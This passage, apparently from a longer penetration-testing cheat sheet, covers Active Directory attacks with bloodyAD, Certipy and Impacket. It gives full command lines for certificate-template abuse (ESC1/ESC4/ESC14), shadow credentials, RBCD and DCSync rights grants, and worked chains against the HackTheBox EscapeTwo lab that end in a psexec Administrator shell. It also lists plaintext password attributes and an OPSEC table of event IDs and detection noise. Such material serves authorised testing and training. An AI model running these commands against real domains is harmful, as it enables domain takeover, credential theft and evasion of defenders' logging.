    730 **ESC4 → ESC1 — request the DA cert with Certipy:**
    731 
    732 ```bash
    733 certipy-ad req -u ryan@sequel.htb -p 'Passw0rd!' -dc-ip 10.10.11.51 -ca 'SEQUEL-CA' -template 'VulnTemplate' -upn 'administrator@sequel.htb'
    734 ```
    735 
    736 **ESC14 — write a strong explicit mapping onto a target:**
    737 
    738 ```bash
    739 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' set object administrator altSecurityIdentities -v 'X509:<I>DC=htb,DC=sequel,CN=SEQUEL-CA<S>CN=ryan'
    740 ```
    741 
    742 ## 12. msldap Low-Level Category
    743 
    744 **Raw GenericWrite ACE:**
    745 
    746 ```bash
    747 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap add_genericwrite 'CN=victim,CN=Users,DC=sequel,DC=htb' 'CN=ryan,CN=Users,DC=sequel,DC=htb'
    748 ```
    749 
    750 **Raw RBCD write:**
    751 
    752 ```bash
    753 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap addallowedtoactonbehalfofotheridentity 'CN=DC01,OU=Domain Controllers,DC=sequel,DC=htb' 'S-1-5-21-...-1104'
    754 ```
    755 
    756 **Add a computer (raw):**
    757 
    758 ```bash
    759 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap addcomputer --computername 'ATTACKER$' --computerpass 'Passw0rd123!'
    760 ```
    761 
    762 **List every msldap function on your version:**
    763 
    764 ```bash
    765 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' msldap -h
    766 ```
    767 
    768 ## 13. Worked Chains
    769 
    770 ### WriteOwner → GenericAll → shadow creds (HTB EscapeTwo)
    771 
    772 **1. Confirm the edge:**
    773 
    774 ```bash
    775 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' get object ca_svc --resolve-sd
    776 ```
    777 
    778 **2. Take ownership:**
    779 
    780 ```bash
    781 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
    782 ```
    783 
    784 **3. Grant full control:**
    785 
    786 ```bash
    787 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan
    788 ```
    789 
    790 **4. Shadow-cred the NT hash:**
    791 
    792 ```bash
    793 certipy-ad shadow auto -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -account ca_svc -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb
    794 ```
    795 
    796 **5. Verify:**
    797 
    798 ```bash
    799 netexec smb 10.10.11.51 -u ca_svc -H 3b181b914e7a9d5508ea1e20bc2b7fce
    800 ```
    801 
    802 ### GenericAll on DC → RBCD → DA
    803 
    804 **1. Create a controlled computer:**
    805 
    806 ```bash
    807 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add computer ATTACKER '$Passw0rd123'
    808 ```
    809 
    810 **2. Set RBCD on the DC:**
    811 
    812 ```bash
    813 bloodyAD --host 10.10.11.51 -d sequel.htb -u ryan -p 'Passw0rd!' add rbcd 'DC01$' 'ATTACKER$'
    814 ```
    815 
    816 **3. Impersonate Administrator:**
    817 
    818 ```bash
    819 getST.py -spn cifs/dc01.sequel.htb -impersonate Administrator sequel.htb/ATTACKER$:'$Passw0rd123' -dc-ip 10.10.11.51
    820 ```
    821 
    822 **4. Shell:**
    823 
    824 ```bash
    825 KRB5CCNAME=Administrator@cifs_dc01.sequel.htb@SEQUEL.HTB.ccache psexec.py -k -no-pass sequel.htb/Administrator@dc01.sequel.htb
    826 ```
    827 
    828 ## 14. Command Reference Tables
    829 
    830 ### Verbs
    831 
    832 | Verb | Purpose |
    833 | :-- | :-- |
    834 | `get` | Read AD |
    835 | `set` | Modify attributes / owner / password / restore |
    836 | `add` | Grant rights / create objects |
    837 | `remove` | Undo any `add` |
    838 | `msldap` | Low-level ADCS/DACL primitives |
    839 
    840 ### add / remove subcommands
    841 
    842 | Subcommand | Full example |
    843 | :-- | :-- |
    844 | `genericAll` | `add genericAll ca_svc ryan` |
    845 | `groupMember` | `add groupMember 'Domain Admins' ryan` |
    846 | `shadowCredentials` | `add shadowCredentials victim` |
    847 | `dcsync` | `add dcsync ryan` |
    848 | `rbcd` | `add rbcd 'DC01$' 'ATTACKER$'` |
    849 | `uac` | `add uac victim -f DONT_REQ_PREAUTH` |
    850 | `computer` | `add computer ATTACKER '$Passw0rd123'` |
    851 | `user` | `add user eviluser 'Passw0rd123!'` |
    852 | `dnsRecord` | `add dnsRecord host 10.10.14.6` |
    853 | `badSuccessor` | `add badSuccessor evilmsa -t 'CN=Administrator,...'` |
    854 
    855 ### set subcommands
    856 
    857 | Subcommand | Full example |
    858 | :-- | :-- |
    859 | `password` | `set password victim 'Newpass123!'` |
    860 | `owner` | `set owner ca_svc ryan` |
    861 | `object` | `set object victim scriptPath -v '\\host\share\x.bat'` (omit `-v` to clear) |
    862 | `restore` | `set restore old_admin` |
    863 
    864 ### UAC flags (`-f`)
    865 
    866 | Flag | Use |
    867 | :-- | :-- |
    868 | `DONT_REQ_PREAUTH` | AS-REP roasting |
    869 | `TRUSTED_FOR_DELEGATION` | Unconstrained delegation |
    870 | `TRUSTED_TO_AUTH_FOR_DELEGATION` | Constrained delegation (S4U) |
    871 | `DONT_EXPIRE_PASSWD` | Password never expires |
    872 | `ACCOUNTDISABLE` | Disable (`add`) / enable (`remove`) |
    873 | `PASSWD_NOTREQD` | No password required |
    874 
    875 ### High-value attributes
    876 
    877 | Attribute | Meaning |
    878 | :-- | :-- |
    879 | `ms-Mcs-AdmPwd` | Legacy LAPS (plaintext) |
    880 | `msLAPS-Password` | Windows LAPS (plaintext JSON) |
    881 | `msLAPS-EncryptedPassword` | Windows LAPS (DPAPI-NG encrypted) |
    882 | `msDS-ManagedPassword` | GMSA blob (`--raw`) |
    883 | `msDS-AllowedToDelegateTo` | Constrained-delegation targets |
    884 | `msDS-AllowedToActOnBehalfOfOtherIdentity` | RBCD trust |
    885 | `msDS-KeyCredentialLink` | Shadow Credentials |
    886 | `msDS-ManagedAccountPrecededByLink` | dMSA inheritance (BadSuccessor) |
    887 | `altSecurityIdentities` | Explicit cert mapping (ESC14) |
    888 | `servicePrincipalName` | SPNs (Kerberoast) |
    889 | `scriptPath` | Logon script (GenericWrite) |
    890 | `sAMAccountName` | Rename for noPac |
    891 | `ms-DS-MachineAccountQuota` | Computers a user may create |
    892 
    893 ## 15. OPSEC & Cleanup
    894 
    895 > **Warning — Reverse every change.** Each `add`/`set` has a matching `remove`/restore. Clear planted SPNs, revert UAC flags, `remove dcsync`, `remove rbcd`, `remove shadowCredentials`, delete created computer/user objects, restore `sAMAccountName`/`scriptPath`, remove DNS records.
    896 
    897 | Action | Log | Noise |
    898 | :-- | :-- | :-- |
    899 | DACL / owner change | 5136 / 4662 | Medium |
    900 | Shadow-cred write | 5136 (`msDS-KeyCredentialLink`) | Medium |
    901 | Password reset | 4724 / 4738 | High |
    902 | `add dcsync` | 5136 on domain object | High |
    903 | Group change | 4728 / 4729 | Medium |
    904 | Computer creation | 4741 | Medium |
    905 | sAMAccountName rename | 4662 / 4781 | High |
    906 
    907 Use `-s` (LDAPS) where allowed so writes aren't in cleartext.
    908 
    909 ## Sources
    910 
    911 - BloodyAD Wiki: https://github.com/CravateRouge/bloodyAD/wiki/User-Guide
    912 - Kali tool page: https://www.kali.org/tools/bloodyad/
    913 - 0xdf — HTB EscapeTwo: https://0xdf.gitlab.io/2025/05/24/htb-escapetwo.html
    914 - HackTricks — LAPS: https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/laps.html